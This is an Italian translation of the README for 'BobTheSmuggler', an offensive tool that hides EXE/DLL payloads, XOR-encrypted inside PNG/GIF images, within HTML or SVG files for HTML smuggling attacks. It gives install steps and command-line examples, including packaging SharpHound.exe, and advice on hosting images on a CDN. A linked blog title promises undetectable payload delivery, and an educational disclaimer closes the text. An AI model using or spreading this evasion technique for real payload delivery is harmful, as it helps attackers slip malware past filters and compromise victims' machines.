
"Bob the Smuggler": Uno strumento che sfrutta l'HTML Smuggling Attack e ti permette di creare file HTML con archivi 7z/zip incorporati. Lo strumento comprime il tuo binario (EXE/DLL) in formato 7z/zip, poi crittografa l'archivio con XOR e lo nasconde all'interno di file immagine PNG/GIF (Image Polyglots).

15 gennaio 2024 - È stato aggiunto il supporto per la compressione di file multipli. Se hai più file generati per il tuo payload finale (ad esempio, file per DLL-Sideloading o file di consegna multi-stadio), ora puoi usare l'opzione '-i' per specificare il percorso della directory. Se viene fornito il percorso di una directory, BobTheSmuggler archivia automaticamente tutti i file in quella directory, crittografa l'archivio con XOR e lo incorpora all'interno di PNG/GIF.
Visita il mio blog per una comprensione approfondita di come utilizzare questo strumento: BobTheSmuggler: Your Covert Cyber Swiss Knife for Undetectable Payload Delivery.
"Bob the Smuggler" è uno strumento che sfrutta l'HTML Smuggling Attack e ti consente di creare file HTML con archivi 7z/zip incorporati. Lo strumento comprime il tuo binario (EXE/DLL) nel formato 7z/zip, quindi crittografa l'archivio con XOR e lo nasconde all'interno di formati di file immagine PNG/GIF (Image Polyglots). Il JavaScript incorporato all'interno dell'HTML scaricherà il file PNG/GIF e lo memorizzerà nella cache. Successivamente, il JavaScript estrae i dati incorporati nel PNG/GIF, li assembla, esegue la decrittografia XOR e li memorizza come blob in memoria.

Questo strumento attualmente supporta le seguenti catene di consegna del payload:
Prima di eseguire lo strumento, sono necessari i seguenti prerequisiti:
pip install python-magic py7zr pyminizip
Nota: Per installare python-magic, è necessario installare la libreria libmagic sul proprio sistema. Segui questo URL per installare la libreria libmagic: https://pypi.org/project/python-magic/
Una volta installate le librerie richieste, puoi procedere con l'installazione dello strumento utilizzando i seguenti comandi:
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
Una volta installato, puoi utilizzare lo strumento eseguendo il seguente comando:
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Nasconde il file EXE/DLL all'interno di un file HTML/SVG.
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esce
-i EXE_FILE Percorso del file EXE/DLL.
-p PASSWORD Password per la compressione.
-f OUTPUT_HTML File HTML con smuggling (.html)
-o OUTPUT_FILENAME Nome del file scaricato (Il tuo payload è in questo file.)
-t {html,svg,png,gif} Tipo di template incorporato.
-c {7z,zip} Formato di compressione: 7z o zip (default: zip)
-u PNG_URL URL per l'immagine PNG incorporata.
-png PNG_FILE Percorso del file PNG per incorporare EXE/DLL.
-gif GIF_FILE Percorso del file GIF per incorporare EXE/DLL.
-e CUSTOM_FILE File HTML da clonare come template.
-v, --verbose Abilita log dettagliati.
Se vuoi comprimere SharpHound.exe in formato 7z (protetto da password) e memorizzarlo in un file HTML, puoi usare il seguente comando:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Per creare un file HTML con il payload incorporato nascosto all'interno di un file PNG, puoi usare il seguente comando:
python3 BobTheSmuggler.py -i <Percorso_file_input> -p <password_per_crittografare> -f <nome_file_HTML_output> -o <Nome file 7z/zip di output memorizzato nell'HTML> -t png test.png

NOTA: Assicurati di ospitare i file PNG/GIF su un CDN. (Consigliato: Dovresti usare l'opzione -u per fornire l'URL del CDN dove ospiterai il file PNG/GIF). Per scopi di test, puoi usare l'app flask (app.py) che ospiterà banner.gif e banner.png su localhost:8000
Allo stesso modo, puoi usare il seguente comando per creare un file HTML con il payload incorporato nascosto all'interno di un file GIF:
python3 BobTheSmuggler.py -i <Percorso_file_input> -p <password_per_crittografare> -f <nome_file_HTML_output> -o <Nome file 7z/zip di output memorizzato nell'HTML> -t gif test.gif

Una volta generata l'immagine finale (PNG/GIF), la dimensione dell'immagine aumenterà perché conterrà il tuo file incorporato.

Una catena semplice con un approccio diverso. Il tuo EXE/DLL viene compresso in un file .7z/.zip, quindi viene memorizzato all'interno di un file PNG/GIF. Il PNG/GIF viene richiamato dal JS all'interno del file SVG che è incorporato nell'HTML. Una volta richiamato il JS, scarica il file PNG/ZIP, estrae i dati compressi con XOR dai chunk dell'immagine, decrittografa il file e invoca la funzionalità di download.
python3 BobTheSmuggler.py -i <Percorso_file_input> -p <password_per_crittografare> -f <nome_file_HTML_output> -o <Nome file 7z/zip di output memorizzato nell'HTML> -t svg -e <Template_SVG_personalizzato>
I seguenti template sono stati aggiunti a questo progetto:

Questo strumento è inteso esclusivamente per scopi educativi. Si consiglia agli utenti di utilizzarlo solo in modo da promuovere l'apprendimento e la comprensione. L'autore di questo strumento declina espressamente qualsiasi responsabilità per il suo uso al di fuori dei contesti educativi. Gli utenti che scelgono di utilizzare questo strumento per scopi diversi dall'educazione lo fanno a proprio rischio e responsabilità, e l'autore non sarà ritenuto responsabile per qualsiasi conseguenza derivante da tale uso.